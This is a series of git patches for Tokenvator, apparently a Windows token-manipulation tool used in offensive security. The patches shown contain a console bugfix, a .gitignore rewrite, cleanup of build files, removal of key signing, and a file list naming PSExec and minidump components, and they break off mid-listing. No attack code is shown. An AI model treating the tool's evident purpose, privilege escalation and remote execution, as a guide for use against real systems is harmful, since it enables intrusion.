From f3a735ac78de726d034938e4003e5ba22f7da98c Mon Sep 17 00:00:00 2001 From: Alexander Date: Wed, 20 Jun 2018 10:17:33 -0500 Subject: [PATCH 01/14] Updating for request from 0xhexmex --- Tokenvator.suo | Bin 43520 -> 46592 bytes Tokenvator/RestrictedToken.cs | 10 +++++++++- 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/Tokenvator.suo b/Tokenvator.suo index 03adfb135b2f297284d39c1a84f894bc03c376ca..f1177c99c1370a2565f3d6e196af512e939b0b32 100644 GIT binary patch delta 2932 zcmbtVYfO_@7(S;hrIr?3Lb-SWyv@3_NW1E=fGgkx3$xY1aEcMRICW|fKF~Q7c4O1& zGIeAfbXfLK?L z?<+t9unu??s05C#IXNAhf&bk~TY2^h&@KM_DnJ?`t=x>8i#dOZps@#_@^wg8Z@JOSQp*Nsuc| z(JYyMHnKdh8Bs}uHT#s+A+t|ql6nK&n8`KctG zan6_lbR%E`Zhh{`csTwbEciVbe+1}~cnlen$Fgd;ZaR8GvpAI2kHMeWv@gf2>}E=o z&BMUM=~2!qBTq-)oFJ5?T!Xq7#Dv|&SloGi68{{=!rjTI5-#@v!d8j55Wdm^;_`_+ zh6=Bb@V)VCt3Yf5@*{#c{~pGtfW=AtMU1Zlvy*rX6|bZu@f8?v0YtpT4)kzb^&m`r zvv25fz{V^}Ql8&X0AfZ0sTKRrSJR`sRdhA8jQaAg(KSsGUnzGL__$$KbZT5jXwF@o zxMPfvLvwFxXl=$U>a}-gZ)I(4Gi$|v2kTU#08`n>fVGQm*-OQ`Xrs*ymefMlf?4g< zx7b6YP0bW6&(R7WonvR7RnZ>}gA}aH;3nezpOUBa2VOwaKR8PxN4n|p!FOqN@jD`D zNh+$-i4=*Qh(bj^BNx#pt`=t{M>NJAwVd8=aMHat9esPKf5hd{(rBSui-SunFo3hn zUDrWFn@n;=$(EF9!r{W^sq}@%q7H|d{Jp0ojSrH&wo-Qzf*?S9Ym52#(KR*lm=YD@r?U@2HpOyYV%?O0-lQFp_J zWstZhNO#xiM0&@kOC5g0au6bW;$)~Jx^1W5;ED=j!nAS__W(31uRlrK{po51JDv9C z(@@iT`I)Y7ROBi9jL)U9svr4G+4sh;Dr#Qml!GVEaBAM}mAwbPN+oCgF$%88(oTn> zAfq9BHXG=+c)r1EWDx#Ok$xbt|+FkiEi7*Xp>b>z1CLi?jDsa*MYGCO)p*z-*ETx=zt)s^Ti16PT@9bc#Nb3rOrE>+-SVlTwC6DcCRxJ`Hw z3Db)AHNY0qoIR&SiQpM@y8mm^^bbue3i9KF8turj>Qsn&==b7uGBlb}8Jh>4SEyW< zO@BA+llKkw^J=Z~P_g@p=_c#rCk@>%-?o`~S_>0puZ6viQg&&5E}eB}$K&pQJ03xt z+6D`Ev7ONXegSFt^k)p>jLSHg>NDwm>)I))I);#L9T={ptHUS|!;vHp4Wm#jfr(3j zSeBD?_OOT#@-9iI@WO7Srj>7{?;0)iTfKhD2N}ej7H}v$RkeWf3+twItL}&sr&>7V z%Qi2k(fwJtUE}2Q{o<_abbC<|a^5duW=c2N4*!fyY)4iG*lYOTjPQg`rM6Bw#xL6({{k|40sH^} delta 1641 zcma)+e{54#6vyv<@Ad7uy^gl_&5n(&FmRh$M=Mij=ip&CEM27?EHTlElVSW7w!t2A zV4@ZG4={}Dkx2Z542))K+`8U^Raw&bBf+Tf2k2k&2Y+bxhY^DhO^j}y+qJdRM7+r- z@7?b?_ug~Qz4yd^6k?Z!gd%zagpdxT6WM}?U85R zxc==Amta`>Mv>6OM}b{g3%WysQA-zmD*3>)oS+}UF}cqAF}gG(3+Q$Z=H%O)e7-iM zHK+RV%jV@rLiyrfX4EMWMP_G_?!$5}}lk^(e1I+{oAOwK%RV{ItmR2=@0N zo$ylit#mc}v!aVaP-~L!MDaHn4!S~WIsV#^e0t`9eI{!h$^d zFG1R6^yxbUus77gv*V);hs5+v_eTkp*|q5qh04Q&o&hpK9w!EA#CVEN zp$Gdmu5rJE}qAfeM&D?f|_}hs^qyt(0$<-_63d4R4Rq zR4ka@NcKJ(zKE52(85nR@6JqLn8NkPbZGXhh1X8@CR=nFuGVjbtF!m8jDOy8iv`_F z5Cvv+P3$Mb>PPHL97OMqtdcW9m<{B-lea(w?|n~>|pGRs=Nd##iF?n zm%T5i6jm^Xqv~BK@+y@VD>q~3JA}7k@#%X9?#Mk-)3V52sm zugrnF`EA(lxd6%IBkYd}NzRWDA^uc~rN+WEc_LT>!Bc7Yfc( uvU1r}kQ& Date: Wed, 20 Jun 2018 10:42:47 -0500 Subject: [PATCH 02/14] Bugfix for Backspace triggers System.ArgumentOutOfRangeException --- Tokenvator/Resources/TabComplete.cs | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/Tokenvator/Resources/TabComplete.cs b/Tokenvator/Resources/TabComplete.cs index 9d32b97..08189e7 100644 --- a/Tokenvator/Resources/TabComplete.cs +++ b/Tokenvator/Resources/TabComplete.cs @@ -165,12 +165,18 @@ private Boolean KeyInput(StringBuilder stringBuilder, ConsoleKeyInfo keyDown) { try { - stringBuilder.Remove(Console.CursorLeft - context.Length - 1, 1); + if (Console.CursorLeft - context.Length - 1 >= 0) + { + stringBuilder.Remove(Console.CursorLeft - context.Length - 1, 1); + } } catch { } ResetLine(); Console.Write(stringBuilder.ToString()); - Console.SetCursorPosition(position -1, Console.CursorTop); + if (Console.CursorLeft - context.Length - 1 >= 0) + { + Console.SetCursorPosition(position - 1, Console.CursorTop); + } return false; } From 51211c6a16c48f1292bd7731bbffb18ab6be855e Mon Sep 17 00:00:00 2001 From: Alexander Date: Wed, 20 Jun 2018 13:27:45 -0500 Subject: [PATCH 03/14] File Cleanup --- .gitignore | 355 ++++++++++++++++-- Tokenvator.suo | Bin 46592 -> 0 bytes Tokenvator/Resources/Structs2/Winbase.cs | 30 -- Tokenvator/Resources/Structs2/Wincrypt.cs | 37 -- Tokenvator/Resources/Structs2/Winnt.cs | 60 --- Tokenvator/Resources/Unmanaged2/Unmanaged.cs | 200 ---------- Tokenvator/Resources/Unmanaged2/advapi32.cs | 94 ----- Tokenvator/Resources/Unmanaged2/crypt32.cs | 29 -- Tokenvator/Resources/Unmanaged2/kernel32.cs | 44 --- Tokenvator/Resources/Unmanaged2/ntdll.cs | 26 -- Tokenvator/Resources/Unmanaged2/vaultcli.cs | 55 --- Tokenvator/Tokenvator.csproj.user | 17 - ...chpad - Tokens.csproj.FileListAbsolute.txt | 5 - .../Tokenvator.csproj.FileListAbsolute.txt | 5 - ...chpad - Tokens.csproj.FileListAbsolute.txt | 5 - .../Tokenvator.csproj.FileListAbsolute.txt | 4 +- 16 files changed, 318 insertions(+), 648 deletions(-) delete mode 100644 Tokenvator.suo delete mode 100644 Tokenvator/Resources/Structs2/Winbase.cs delete mode 100644 Tokenvator/Resources/Structs2/Wincrypt.cs delete mode 100644 Tokenvator/Resources/Structs2/Winnt.cs delete mode 100644 Tokenvator/Resources/Unmanaged2/Unmanaged.cs delete mode 100644 Tokenvator/Resources/Unmanaged2/advapi32.cs delete mode 100644 Tokenvator/Resources/Unmanaged2/crypt32.cs delete mode 100644 Tokenvator/Resources/Unmanaged2/kernel32.cs delete mode 100644 Tokenvator/Resources/Unmanaged2/ntdll.cs delete mode 100644 Tokenvator/Resources/Unmanaged2/vaultcli.cs delete mode 100644 Tokenvator/Tokenvator.csproj.user delete mode 100644 Tokenvator/obj/Debug/Scratchpad - Tokens.csproj.FileListAbsolute.txt delete mode 100644 Tokenvator/obj/Debug/Tokenvator.csproj.FileListAbsolute.txt delete mode 100644 Tokenvator/obj/Release/Scratchpad - Tokens.csproj.FileListAbsolute.txt diff --git a/.gitignore b/.gitignore index 71f34d9..83243f3 100644 --- a/.gitignore +++ b/.gitignore @@ -1,52 +1,329 @@ -# Windows image file caches -Thumbs.db -ehthumbs.db +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore -# Folder config file -Desktop.ini +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates -# Recycle Bin used on file shares -$RECYCLE.BIN/ +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs -# Windows Installer files -*.cab -*.msi -*.msm -*.msp +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ -# Windows shortcuts -*.lnk +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ -# ========================= -# Operating System Files -# ========================= +# Visual Studio 2017 auto generated files +Generated\ Files/ -# OSX -# ========================= +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* -.DS_Store -.AppleDouble -.LSOverride +# NUNIT +*.VisualState.xml +TestResult.xml -# Thumbnails -._* +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c -# Files that might appear in the root of a volume -.DocumentRevisions-V100 -.fseventsd -.Spotlight-V100 -.TemporaryItems -.Trashes -.VolumeIcon.icns +# Benchmark Results +BenchmarkDotNet.Artifacts/ -# Directories potentially created on remote AFP share -.AppleDB -.AppleDesktop +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ -# Network Trash Folder -.apdisk +# StyleCop +StyleCopReport.xml -# Temporary Items -*.snk +# Files built by Visual Studio +*_i.c +*_p.c +*_i.h +*.ilk +*.meta +*.obj +*.iobj +*.pch *.pdb -*.exe +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# JustCode is a .NET coding add-in +.JustCode + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# JetBrains Rider +.idea/ +*.sln.iml + +# CodeRush +.cr/ + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ \ No newline at end of file diff --git a/Tokenvator.suo b/Tokenvator.suo deleted file mode 100644 index f1177c99c1370a2565f3d6e196af512e939b0b32..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 46592 zcmeHQ36NFQnZ6B*fEpK;7}g)Aje=&bw#(|Ns2kIrr_i&ij{VUb^sK4Od!aOgBE9m}Shc-LJwqL8NmHV;WAT z13sLXn2o2DKpTL0_o9W^r&XYG8P^hWw8AK){^19(mzK>FvoqJN$%+9x02HG%Y} z&Po63+)e+yPx|MP^n5vhJcay%bWI*$r+?BN>7V&Y*Xq4?`sY2;JLz9NzYphb`d@86 zZ^e-`O8RI1P8>=9JbxHRMgP23^w0AL@J!J^`3&#b>7Uo6|IY)yU_QSQ$3FyYH?Na8 z_5%9M>lBUyfI;(m2*;g(UFP*}9Mgb|d3`gEqku8n+58tw%R^`qul0SWYN z25rn5yOE20hWXZj;>N*cv&fwQ2hE_Be7Z-_Uj}arx=UWgcZ~rT`taW{e!Y7Aj*sDp zE*FWtvIp<)!yBz!J+I#Umz>S4To063|0hcPeR1vIELufw%@&eZ_1pSS^~s#gs~#fF zTCH`S<54L8BTeN?;6J(dvz&bS`JA%FAv0qb|1+luGpGN7{O=QZM82Y1J~7~k`MR+3 zb%>#u_7hK^(kP$uQ@+IZv)$y`y6ry?c~$@47YY8#S$`1tn*z;hd=MxhTMN z7O%B<Z~=g``o%^x_|pxJC;5AE{F5@?C}t4yPOAs@ z)-0JxoyHowX3RiJLQR>u6Oiq9i1InJIOmt|9liWV&iRG)WWEiMtJeY7M<8oToJl}$ zNExN#?|-&YLMuLPL2bq`?{;A(AwH{lT;1o~8kTCnf94^B)n{S3<+G3Dz&U`a9evP? zkr>1u`)VudGmc(m59ceJzb}UW5_^NnZx!Q}M30Ps#;FkyLxR&H%zq2;nAE{O2+nCe zA&(n2FWv2@{zIG^LAgUFm$827J-eca`S&8cMz!Dj#=`DUm$?Zrxl*946Jy$8~@nS zH0s-px@FNa;$m0={#B9VafZ;v|BI1#6%hw1xcq%+e=lmGC`IOX|1Sprsh6quxXa&w z_HtZk2ia=&MF!eb5D&Q8l)u<^CiUL1<3c>#VrC${Q+^*suM=Y|OmogVQsQ7vCr4Ug zmQR}2E#Kb$!tj!~KJIB6X~&&Px#xaY*!2upC98l-)N{xgt_J+w3ytUh=EL_Vc%OPO z>4*Hzejk@2Q5N0+Odm$OhD_TJ+n5ChRwF>G;dGIErLZyH1{!XG<*^0W+X=dDgH^H( zJfR*>mjGHp=gV<+jkr@M?$sg3Qv9{yuU_O}{@cM1`cX%6iKOUTmb+1Ke|xEvf}MF( z-K12)yfcN}q|my#^>RDTZvq{Rp;y9YqNOJOv4*<%w+VUQqY!`;R=$!&+J#Jzls|C& zuQkh8a+~Y1?xBi&U83{)(jw;nC3ppG)J(+JAlzIjEaZh^RM;D9h0M#Dlu~EP z*pCv@;I!3f`zFYqwV3f*#b{FkY{kg*qmCB!eFj(Mt&he33$4p+)TIUZQ*-7AEsGy~ zZS6}x`{rA7p4)m(m+|&1|F!MFr7w59xZ=lskN9aRa-dy!2W1%Y zsyZR9NGnVh+|^C1l*P8a#eOhAD}~zdqz#L|b@OG)(zKb{?>FF@Hd!|xUypkm0hGb* z`6(CDCc=5qejk_OK5K2iPjcK2xWsk;Zd`v2@F~~*@8kNf0UTWWdvGaaA=&`!_gisI zyY4pIea=xQfcaBzKkWh4alF$go%-k){wTMmFc-PG5Gov!sQ;1gQK!=7e|Gsp&0~~< zs2fxAqBJCDJIXuZiRD)#3#}2l<#Q}+hGlb06Jtm%pY3Y8u5n;j7kd|5D^%WWGSzIh6gQ8}klvkTwWP1^GsxnD&#S zD*d|?b4UkxZKIGQDJwPz&fAHzI{dZcdV3Blx1eU^@|Fxv`Jeh!A^mU1zrxD*jtj6{;6<0KEn>GDf~(O>5V>4H!Qq zHA*SL-{D!am;a2ULO~dzuV{Tf0uF@t(?j#$hu~I#+;UWDNRXDM3Ta>5_FWw zuQTI+dIeU|qb|om)?56y++|j1f*g*K*0%0Vzy9Y7XV<)WaQ!1KEk8W##LIX6q?&PT zlN|%0i-Q~sR@+U3)Uu9-&VO|xg3s0uKBweApTzwu0lNH;b~-)&ORgTCP=1d0>X!dS zyi%|H#_+=NlzeA+bh%FizW71REkQ2rYLCdEglGI~cBbICXR!2^eL+>=(m zI7i%2vV1eveM&vY&FO+TL^WD-I5w>bk|iklM-_$O7e&C?{m7K{+MyCl3X^~9A+hC4 z#qgh3@zP`Fi^I#8w#TqKkpI>oLoGm;|C0B9(|l=o`C9W&6@5;$De0EK19^X{Rle5z zQ}FypkE$xaeDXhS1KyaL;UB$wzw(X9{*iL6lCmBv5r2!Te;aB_DV6p`sewx^#)<`+ z`K!Tp>h-KMlYyKA0RAowSvCbLIVE*VAe8YuZVB0|6)8=CUh~%@X}x{^4U%8iw05_3 zp@vb&2O;7%`k$)>R{ZteXwl%DUZX{)@gCG3<^%pzetwK+?QGQ|X2m5u9 zL8O`ZKLY885fHRc?-O2&E%-F^_ndY2kIt@jy~F-ip4-zZTu2Nn zR{y81b{A^42lj=LbD33FB+sW79 zBq4#xGU!dOTv6UHuE1n(Y>e*BZCM*8(Bw2~?*Ida~iRLl8Z`Fq(5 z>=oP+@sEYJ=i8CAUw8fqvdsN%VB3(BS3wBYbK@|VjZEU*ekpq}7DxIo6oxea&o7ra zwR4E;-r(B(wndS4_Gyv-o_PBYy|TuRMHfwXjeLs;;_L(>H{q-qe@##lm!LnI5LQx; zYlf68!+8@_#YO}jGtD!S)9#%<`&g{;pBgmda7G>8<0rqHzR=YNMY}=cJ^niS&WtLf ziZ*9Qy0uC(Ot!N0p91)S+Ysk?9W zYW_#GbjMFTK8OAsiP_#7JLB8s3N`jin^-g22SJE-HQFTPnmzV_W!Inczc-3KO{`w> z@Xk?P-pK_%lu-$NZ7UKzW2w=x#L~UJ$^M<$o!LZtrZ2lYl^!2UtQi_#o9#_($?Qs{ z_aw(NqxRFysj*CUv@bQ5=t=KRrjvuI{zTVM?`U##2=~&d@#M%*Lw#-E82f6*wdw5e zFzu#HDWg>X?45Ya9|IT@_$TJ^9`kqr$9v85`*C~<@F0NeshIys9RCdP2;j@+y~lBU z3~(>Ol__zS>cz%zg&06u#b$L9dgo7Z2*@f!g8>Rtf62w=W)r61yb zubJ=sD;!@p&&&1xN_fxppbhdU#+=jFuoqG26sFYPDd>{WME@`2S?2=S-q6hE!@F=K zr(z28zt%x)&6nu^Ifn}z90M__GwBdU!q=6Xk)E7jaOVWrZb<=?ja zRBTIkj7BBQTf@5c$EdElywBgVz}9SyQEPPceAby#Zd_&`r%q+(H1@STQ!fLDdr;Yn zmB$Gg?PYNgYxe7i2p?pWmvgT}_Uy)p>f<-Z_{Dy(j+My8XoKZ$N{q5}&L7Db^|(Gy zcCLY`)KT&GWLF}G@%KSh>bR6o|JV0Tfedr$KASEZW&xTkeYDBg+KXm@SxcXZfS>^fvthwFd?(j?e_Ut3h-qYJxywv@7;uHVp#Xl+gz}9?s)7htk z;w)QOj{JmGOh(H0VZIzPtp)8JUF*ovtjKt$6cfB7CZ!9%buyG~ohyI5EBu`+`@NC< z-H3W-d?Vjf3)!AIXit`FM61v!0_$yA6G~rKz+DTL0+!+ba)i@xzfNaOHbC=MzE-ur zyOK;WtkqWD+TD<=UHouP^(o^L(#Flcy*n7= z`m3E3Yq75o<1UlJ+c%E&L~<8W?yswM9rnYVa<13OPgkmrel@XdnNvYaawjagCm6ZT zK9`r28od{jxqHpj(Yv$!O61^Yp}(A*Rq=T8btdxmj~aa~K)al+w(wq^k%#(Isl8{4 zq0TV>cRl93e2M;d?k7r5x%A!T`vq4e8pbL6chhI%a>mHY*~0> z`NR^eC(~~KpCYeb|Fc)alfpmtJyUpY`Sej7eqv?}?|(h~r(C%Lpj$rWKehjXlxQ|V z5@6(6GG6+39{-;6gsuxhOd7J%DzNdWs;ko5g z_Nre0PY(UFzQ@dphL68q{7)m^#lB}UUmJR8!Ba(l`YRRn^l9hUyZmg;UOhE|Z-Du& z^L0iH$-Q=+(W_GxF%%T#AT`cXzadtf4JXLnHVdPB+>|@@VxY_QRW{wx_WBv6>?(J$ zjixu9TB`EU$u(!C#@G}$zPi0B*N9kFF=h3c2Rw+6bt;&G7`<3|R!G{jyepHqS4O3+ zDDm@`%Kfw}Z&WNQu-k^IVI7EsBYLBYmh{T<%`bAX9uisVro++O|@2hp6K{ofot#e-Mjj~?YZ4_~}+p$mFRv7Mn zA7=Bjw~LzMRNMN_aMjsfpZIt{&Ue+a7JEB;{U!Fg$Im}8-_r)Cyy*05*xM4N&*w}} zt);eaubzeetr zp_C3rtJL$6NS=P$qhHK&JS_zN+73`T4R=JS%K3jdy0 ztubmA{xLy~{Z26Tj*GwviJ~L;0FVC13X6Ha+^}~R>XL=yUTy@b7RM(<;EQ{k zH~)ae@?%e3eM93iSfu9}Cr-;~;LtP=4&4+v4n;Y}#AeA2l+iBwF*3gvs)!uNg7y@c z6grP`j3jS%F1WSEO>&~i88y8aKEShz`(kC5j*Ez^L!;9#oH3&&xqw0*W+zRqXkWRHk3R_$u-Iy6P+Yzp`NPW zX{cZ2?T8bEA=PNjVGzgEe_zv2`VR8faVNu*_xlwV)AQf4Ias%%b)&L;E&eM<41@cZ zlp2RVxjsgJ+rFE-aSxV4_uo|U(%fgEcnv&k#|#;pQdyW1#49d{j8{0VLu$UDE^<#K z99E6E68hy%vC%|_1oNo)+ke!4Jch9lV_A7~zjHN|^@Yhx(3(>Bwl0pRT5GHPce}v1 zr%|_f%iKXT)p-?AbN}5D=T;AxLu`EB0%ekAW0p7K$+{l_Wz3T@xY zfE~TuzGHg-N*S|5r|1q7RlZNsb7KRyf7dU>p#0-o%Gf?O6=NH|{)j7!!joG6#+6cx zp$g9}pLXDI+{_qWzSjEF+}bDI^0}|?QLXYD%v`|-wx6}U7NA>x7xKOm{K|r#uw0c2 z{;}l*vP|*PyvKQqA6t!g?8Xk?rDK-57B8B9YAR^j*QZ?BW9k=-U;dGWkGupKc+aV^ zbakM#CO1NKe-^X+ - - publish\ - - - - - - - - - - - en-US - false - - \ No newline at end of file diff --git a/Tokenvator/obj/Debug/Scratchpad - Tokens.csproj.FileListAbsolute.txt b/Tokenvator/obj/Debug/Scratchpad - Tokens.csproj.FileListAbsolute.txt deleted file mode 100644 index 2df3ce7..0000000 --- a/Tokenvator/obj/Debug/Scratchpad - Tokens.csproj.FileListAbsolute.txt +++ /dev/null @@ -1,5 +0,0 @@ -C:\Users\0xbadjuju\Documents\GitHub\Tokenvators\Tokenvators\obj\Debug\ResolveAssemblyReference.cache -C:\Users\0xbadjuju\Documents\GitHub\Tokenvators\Tokenvators\bin\Debug\Tokenvators.exe -C:\Users\0xbadjuju\Documents\GitHub\Tokenvators\Tokenvators\bin\Debug\Tokenvators.pdb -C:\Users\0xbadjuju\Documents\GitHub\Tokenvators\Tokenvators\obj\Debug\Tokenvators.exe -C:\Users\0xbadjuju\Documents\GitHub\Tokenvators\Tokenvators\obj\Debug\Tokenvators.pdb diff --git a/Tokenvator/obj/Debug/Tokenvator.csproj.FileListAbsolute.txt b/Tokenvator/obj/Debug/Tokenvator.csproj.FileListAbsolute.txt deleted file mode 100644 index 2d2192d..0000000 --- a/Tokenvator/obj/Debug/Tokenvator.csproj.FileListAbsolute.txt +++ /dev/null @@ -1,5 +0,0 @@ -C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Debug\ResolveAssemblyReference.cache -C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Debug\Tokenvator.exe -C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Debug\Tokenvator.pdb -C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Debug\Tokenvator.exe -C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Debug\Tokenvator.pdb diff --git a/Tokenvator/obj/Release/Scratchpad - Tokens.csproj.FileListAbsolute.txt b/Tokenvator/obj/Release/Scratchpad - Tokens.csproj.FileListAbsolute.txt deleted file mode 100644 index 4ef5084..0000000 --- a/Tokenvator/obj/Release/Scratchpad - Tokens.csproj.FileListAbsolute.txt +++ /dev/null @@ -1,5 +0,0 @@ -C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Release\Tokenvator.exe -C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Release\Tokenvator.pdb -C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\ResolveAssemblyReference.cache -C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.exe -C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.pdb diff --git a/Tokenvator/obj/Release/Tokenvator.csproj.FileListAbsolute.txt b/Tokenvator/obj/Release/Tokenvator.csproj.FileListAbsolute.txt index 4ef5084..53a7302 100644 --- a/Tokenvator/obj/Release/Tokenvator.csproj.FileListAbsolute.txt +++ b/Tokenvator/obj/Release/Tokenvator.csproj.FileListAbsolute.txt @@ -1,5 +1,5 @@ +C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.exe +C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.pdb C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Release\Tokenvator.exe C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Release\Tokenvator.pdb C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\ResolveAssemblyReference.cache -C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.exe -C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.pdb From a0e237df5ffd257c3bc5cd8f4d0bdc21b7b6eb26 Mon Sep 17 00:00:00 2001 From: Alexander Date: Sun, 1 Jul 2018 22:25:11 -0500 Subject: [PATCH 04/14] Removed strong name key signing --- Tokenvator/Tokenvator.csproj | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/Tokenvator/Tokenvator.csproj b/Tokenvator/Tokenvator.csproj index e20a202..0963373 100644 --- a/Tokenvator/Tokenvator.csproj +++ b/Tokenvator/Tokenvator.csproj @@ -14,7 +14,8 @@ 512 false true - sgKey.snk + + publish\ true Disk @@ -89,9 +90,6 @@ - - - False From 046d0629d17c7f32e978593ab061b32f51a713e0 Mon Sep 17 00:00:00 2001 From: Alexander Date: Mon, 30 Jul 2018 22:13:39 -0700 Subject: [PATCH 05/14] VS 2017 + NamePipes --- Tokenvator.sln | 9 +- Tokenvator/CreateProcess.cs | 19 +- Tokenvator/Enumeration.cs | 19 +- Tokenvator/NamedPipes.cs | 82 ++ Tokenvator/Program.cs | 23 +- Tokenvator/Resources/CheckPrivileges.cs | 24 +- Tokenvator/Resources/Constants.cs | 104 +-- Tokenvator/Resources/Enums.cs | 190 ----- Tokenvator/Resources/PSExec.cs | 196 +++++ Tokenvator/Resources/Services.cs | 2 - Tokenvator/Resources/Structs.cs | 155 ---- .../Resources/Unmanaged/Headers/MinWinBase.cs | 24 + .../Unmanaged/Headers/Minidumpapiset.cs | 80 ++ .../Resources/Unmanaged/Headers/Rpcdce.cs | 18 + .../Resources/Unmanaged/Headers/Subauth.cs | 19 + 